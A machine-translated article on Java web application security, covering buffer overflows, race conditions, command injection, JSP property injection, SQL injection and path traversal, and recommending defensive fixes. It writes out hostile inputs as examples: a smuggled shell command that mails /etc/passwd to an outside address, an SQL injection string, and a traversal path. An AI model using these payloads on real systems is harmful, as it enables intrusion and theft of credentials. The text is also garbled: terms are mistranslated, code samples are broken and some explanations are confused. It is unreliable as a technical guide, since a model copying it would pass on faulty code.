Security | programming | server
Overview and Overflow
I. Overview
Writing secure Internet applications is not an easy thing to do: just look at each professional bulletin board to find a continuous security vulnerability report. How do you make sure your Internet applications are not as full of vulnerabilities as other people's applications? How do you make sure your name does not appear in an embarrassing major security incident report?
If you use the Java Servlet, JavaServer Pages (JSP), or EJB, many of the difficult problems are solved in advance. Of course, the vulnerability could still occur. Let's take a look at what these vulnerabilities are and why Java programmers don't have to worry about the problems that some C and Perl programmers must face.
C programmers should already be familiar with security vulnerabilities, but projects like OpenBSD provide a security system for dealing with such problems. The Java language has less experience dealing with such problems than C 20, but on the other hand, Java is born as a client-side programming language, and the client's requirements for security are much harsher than that of the server. It means that the development of Java has a solid security base.
Java's original positioning target is the browser. However, the Java virtual machine that the browser itself brings is not perfect, although it is good. Sun's "Chronology of security-related Bugs and issues" summarizes the history of vulnerability discovery in the run-time environment. We know that when Java is used as a server-side programming language, these vulnerabilities cannot be used as a means of attack. But even if Java is a client-side programming language, the number of major security issues has been reduced from 6 in 1996 (of which 3 are quite serious) to 1 in 2000. However, this relative increase in security does not mean that Java as a server-side programming language has been absolutely secure, it only means that attackers can use the means of attack more and more limited. So what are some of the areas that are vulnerable to attack and how are other programming languages facing similar problems?
Second, cache overflow
In the C program, cache overflow is the most common security risk. The cache overflow occurs when user input exceeds the allocated memory space (used exclusively for user input). Cache overflows can be a key factor in the application being overwritten. C programs are prone to cache overflows, but Java programs are almost impossible to cache overflow.
The C code that reads input data from the input stream is usually shown as follows:
Char buffer[1000];
int len = read (buffer);
Because the size of the cache is determined before the data is read, it is difficult for the system to check whether the cache reserved for input is sufficient. Cache overflow enables users to cover key parts of the program's data structure, thus creating a security risk. An experienced attacker can use this to directly insert code and data into a running program.
In Java, we typically save user input with a string rather than a character array. The Java code equivalent to the preceding C code looks like this:
String buffer = In.readline ();
In this case, the size of the cache is always exactly the same size as the input content. Because a Java string cannot be changed after it is created, it is not possible for a cache overflow to occur. To step back, even if you use a character array instead of a string as a cache, Java is not as easy as C to produce a security vulnerability that can be exploited by an attacker. For example, the following Java code will produce an overflow:
char[] bad = new CHAR[6];
BAD[7] = 50; This code always throws a Java.lang.ArrayOutOfBoundsException exception that can be captured by the program itself:
try {
char[] bad = new CHAR[6];
BAD[7] = 50;
}
catch (Arrayoutofboundsexception ex) {
... }
This process will never lead to unpredictable behavior. Regardless of how you overflow an array, we always get arrayoutofboundsexception exceptions, while the Java runtime's underlying environment protects itself from any infringement. In general, when handling strings with Java string types, we do not need to worry about the arrayoutofboundsexceptions exception of strings, so it is an ideal choice.
The Java programming model fundamentally changes the way user input is handled and avoids the overflow of input caches, leaving the Java programmer free of the most dangerous programming vulnerabilities.
Competition and implementation process
Iii. the state of competition
The competitive state, race Condition, is the second most common application security vulnerability. When you create (change) a resource to modify a resource to prevent access to resources, a competitive state occurs when a process is allowed to access resources. The key question here is this: if a task is made up of two essential steps, no matter how much you want the two steps to be executed immediately after another, the operating system does not guarantee this. For example, in a database, the transaction mechanism causes two separate events to be "atomized". In other words, a process creates a file and then changes the permissions of the file to prohibit regular access, while another process that has no privileges can process the file, trick the privileged process into incorrectly modifying the file, or continue to access the original file after the permissions have been set.
In general, in standard UNIX and NT environments, some high-priority processes can insert themselves between multiple steps of a task, but such processes do not exist on the Java server, and programs written in pure Java cannot modify permission permissions on files. As a result, most of the competitive state that is caused by file access does not appear in Java, but that does not mean that Java is completely out of the question, except that the problem is transferred to the virtual machine.
Let's look at how other development platforms deal with the problem. In Unix, we have to make sure that the default file creation pattern is secure, such as executing the "umask 200" command before the server starts. For more information on Umask, perform "man umask" on the UNIX system command line to view the Umask man document.
In an NT environment, we must manipulate the security flags of ACLs (access control lists, access controls list), and protect the directories under which files are created. NT's new file typically inherits access permissions from its parent directory. See your NT documentation for more information.
The competitive state in Java most of the time appears in the critical code area. For example, during user logon, the system generates a unique number as an identifier for the user's session. To do this, the system first produces a random number, and then checks whether the number is already in use by another user in a data structure such as a hash table. If the number is not being used by another user, put it in a hash box to prevent other users from using it. The code looks like Listing 1:
(Listing 1)
Save the ID of the logged-on user
Hashtable Hash;
Random number generator
Random Rand;
Generate a random number
Integer id = new Integer (Rand.nextint ());
while (Hash.containskey (ID))
{
id = new Integer (Rand.nextint ());
}
Keep this ID for the current user
Hash.put (ID, data);
Listing 1 code can pose a serious problem: if two threads execute Listing 1 code, one of the threads is Hash.put (...). This line of code was previously scheduled, at which point the same random ID could be used two times. In Java, there are two ways to solve this problem. First, the Listing 1 code can be written in the form of Listing 2 to ensure that only one thread can execute critical code segments, prevent the thread from rescheduling, and avoid a competing presence. Second, if the previous code is part of the EJB server, we'd better have a unique ID service that leverages the thread control mechanism of the EJB server.
(Listing 2)
Synchronized (hash)
{
Generate a unique random number
Integer ID =
New Integer (Rand.nextint ());
while (Hash.containskey (ID))
{
id = new Integer (Rand.nextint ());
}
Keep this ID for the current user
Hash.put (ID, data);
}
Iv. string Interpretation execution
In some programming languages, a special function can be inserted into the input string to deceive the server into performing additional, redundant actions. The following Perl code is an example:
$data = "Mail Body";
System ("/usr/sbin/sendmail-t $ < $data");
Obviously, the code can be used as part of a CGI program, or it can be invoked from the command line. In general, it can be invoked as follows:
Perl script.pl honest@true.com
It will send a message (that is, "mail Body") to the user honest@true.com. This example is simple, but we can attack as follows:
Perl script.pl Honest@true.com;mail
Cheat@liarandthief.com </etc/passwd
This command sends a blank message to honest@true.com and sends the system password file to cheat@liarandthief.com. If the code is part of a CGI program, it poses a significant threat to the security of the server.
Perl programmers often use external programs (such as SendMail) to augment the functionality of Perl to avoid the ability to implement external programs with scripts. However, Java has a fairly sophisticated API. For example, the JavaMail API is a good API for sending mail. However, if you are lazy, you want to send a message using an external mail sender:
Runtime.getruntime () exec ("/usr/sbin/sendmail-t $retaddr < $data");
In fact, this is not workable. Java generally does not allow the OS-level "<" and ";" As part of the Runtime.exec (). You may try to solve the problem in the following ways:
Runtime.getruntime () exec ("Sh/usr/sbin/sendmail-t $retaddr < $data");
However, this code is unsafe, and it brings the dangers of the preceding Perl code into the Java program. The usual Java approach to solving problems may seem a bit more complicated than a tricky one, but it's almost always better portability, scalability, and security and fewer bugs. Runtime.exec () is just a simple example of the problem, and many other situations are more complex and more covert.
Let's consider the Java Image API (Reflection API). The Java Image API allows us to determine which method of an object is invoked at run time. Any time that a user enters a command as an image lookup condition can become a security vulnerability for the system. For example, the following code might create such a problem:
Method M = Bean.getclass (). GetMethod (Action, new class[] {});
M.invoke (Bean, new object[] {});
If the value of "action" allows the user to change, you should pay special attention here. Note that this phenomenon may occur in some strange places-perhaps the most surprising place is JSP. Most JSP engines use the image API to implement the following features:
<jsp:setproperty name= "Bean" property= "*"/>
This bean's set method should pay special attention because all of these methods can be invoked by a remote user. For example, for listing 3 's bean and Listing 4 's JSP page:
(Listing 3)
public class Example
{
public void SetName (String name) {
THIS.name = name; }
Public String GetName () {return name;}
public void SetPassword (String pass) {
This. pass = Pass; }
Public String GetPassword () {return
Pass }
private String name;
Private String Pass;
}
(Listing 4)
<%@ page import= "Example"%>
<jsp:usebean id= "Example" scope= "page"
class= "Example"/>
<jsp:setproperty name= "Example" property= "*"/>
<title>bean Example </title>
<body>
<form>
<input type= "text" name= "name" size= ">"
<input type= "Submit" value= "Submit" >
</form>
On the surface, the code only allows the user to access the name of the example Bean. However, users who know the system can access the URL "Http://whereever.com/example.jsp?name=Fred&password=hack". This URL changes both the Name property and the password Password property. Of course, this should not be the intention of the page writer, whose intention is to design a page that allows only users to access the name attribute. Therefore, in the use of
<jsp:setproperty property= "*" .../>. >
You should be very careful.
The problem that a string is interpreted to execute may occur in any environment that allows embedded script code. For example, this type of problem may occur in Xalan (also known as lotusxsl), which, of course, is the case where system settings are not stringent and vulnerable.
Xalan script support can be turned off (and this is the default setting for Xalan), it is a wise choice to turn off scripting support in sensitive applications. When you need to use the DOM to work with XML documents, you must also consider another point: DOM guarantees that all text is properly escaped, preventing illegal markup from being inserted into the script. Lotusxsl lacks this functionality, but this is by no means a bug. Support Scripting is a feature of lotusxsl, and it is (wisely) turned off by default. The XSL's consortium specification does not provide the ability to support scripting.
Now let's look at how string interpretation execution affects SQL and JDBC. Let's say we want to search the database for user names and passwords, Listing 5 's servlet code looks good, but it's actually dangerous.
(Listing 5)
String user = Request.getattribute ("username");
String pass = request.getattribute ("password");
String query = "SELECT ID from Users WHERE
Username= "+user+" and password= "+pass;
Statement stmt = con.createstatement (query);
ResultSet rs = con.executequery (query);
if (Rs.next ())
{
Login successful
int id = rs.getint (1);
...
}
Else
{
Login failed
...
}
Under the process of execution
If the user enters a query condition in which the user's name equals "Fred" and the password equals "Something", the query executed by the system is actually:
SELECT ID from users WHERE
Username= ' Fred ' and password=
' Something '
This query correctly checks the user's name and password. However, if the user enters a query condition that has the name equal to "Fred" and (' a ' = ' B '), the password equals "blah" OR ' a ' = ' a ', the query executed by the system becomes:
SELECT ID from users
WHERE username= ' Fred ' and (
' A ' = ' B ' and password= ' blah ') OR ' a ' = ' a '
As you can see, this query does not correctly check the user's name and password. Listing 6 's code is much more secure, and it fundamentally prevents users from modifying SQL commands to evade checking.
(Listing 6)
String user = Request.getattribute ("username");
String pass = request.getattribute ("password");
String query = "SELECT ID from users
WHERE username=? and password=? ";
PreparedStatement stmt = con.preparestatement (query);
Stmt.setstring (1, user);
Stmt.setstring (2, pass);
ResultSet rs = Stmt.executequery ();
...
All access to the file system is where the string may be interpreted to execute. When using Java to access the file system, we should pay attention to how the file is named. Listing 7 is a potentially dangerous example. This program determines which file to read based on user input, and the danger is that an attacker can enter ". /.. /.. /etc/passwd "Such a file name and get the system's password file. This is not what we want to happen. The easiest way to prevent this security vulnerability is to not use flat files (Flat file) unless absolutely necessary.
(Listing 7)
public class Unsafeservlet
{
public void doget (HttpServletRequest request,
HttpServletResponse response)
{
String Product = Request.getattribute ("Product");
Reader fin = new FileReader (
"/usr/unsafe/products/" + product);
BufferedReader in = new BufferedReader (FIN);
String cost = In.readline ();
Other processing procedures
Response.getwriter (). println (cost);
}
}
Most server systems, including Servlet, JSP, and EJB, support configuration methods that do not rely directly on file system access. Using a custom SecurityManager or using a simple check script (checking whether the program is directly manipulating the file system and using the image API), we can implement the "no File system direct access" policy. Although most application servers allow the use of file systems, a good EJB does not use it.
Finally, be sure not to forget to keep the data fully detached and to precisely define this good programming habit. Suppose we have a database to hold user information, and now we need to add a field that indicates whether the user has superuser privileges. If adding a column to the original table is too complicated, it's tempting to use the following method: Add a special character to the user's name to indicate whether the user has special permissions and check the special character when the user logs in to prevent illegal users from claiming that they have special permissions. But in fact, this practice is very harmful. All data fields, whether they are in the database or as local variables, should be defined precisely and only one piece of information should be saved.
V. Summary of Basic Principles
Based on the above discussion, we have the following basic principles to prevent security problems:
For each input field, strictly define the legitimate input characters acceptable to the system and reject all other input.
User input should be checked as early as possible so that areas with dangerous data are minimized.
Do not rely on browser-side JavaScript for security checks (although this is a very useful feature for users), all the checks that have been done on the client should be done again on the server side.
These principles help to eliminate a large number of security issues. In essence, URLs and post data are the only way to interact with users and applications at this level of application, so our focus should be on the security of URLs and user input data.
Of course, simply adhering to the recommendations of this article does not guarantee absolute security. You must analyze other factors, including the security of your network and the security of other services you use.
New security vulnerabilities are discovered and fixed every day. Be sure to listen to expert advice before your system is secure enough to connect to the Internet, and be aware of possible vulnerabilities before you formally submit your source code. Be careful never excessive.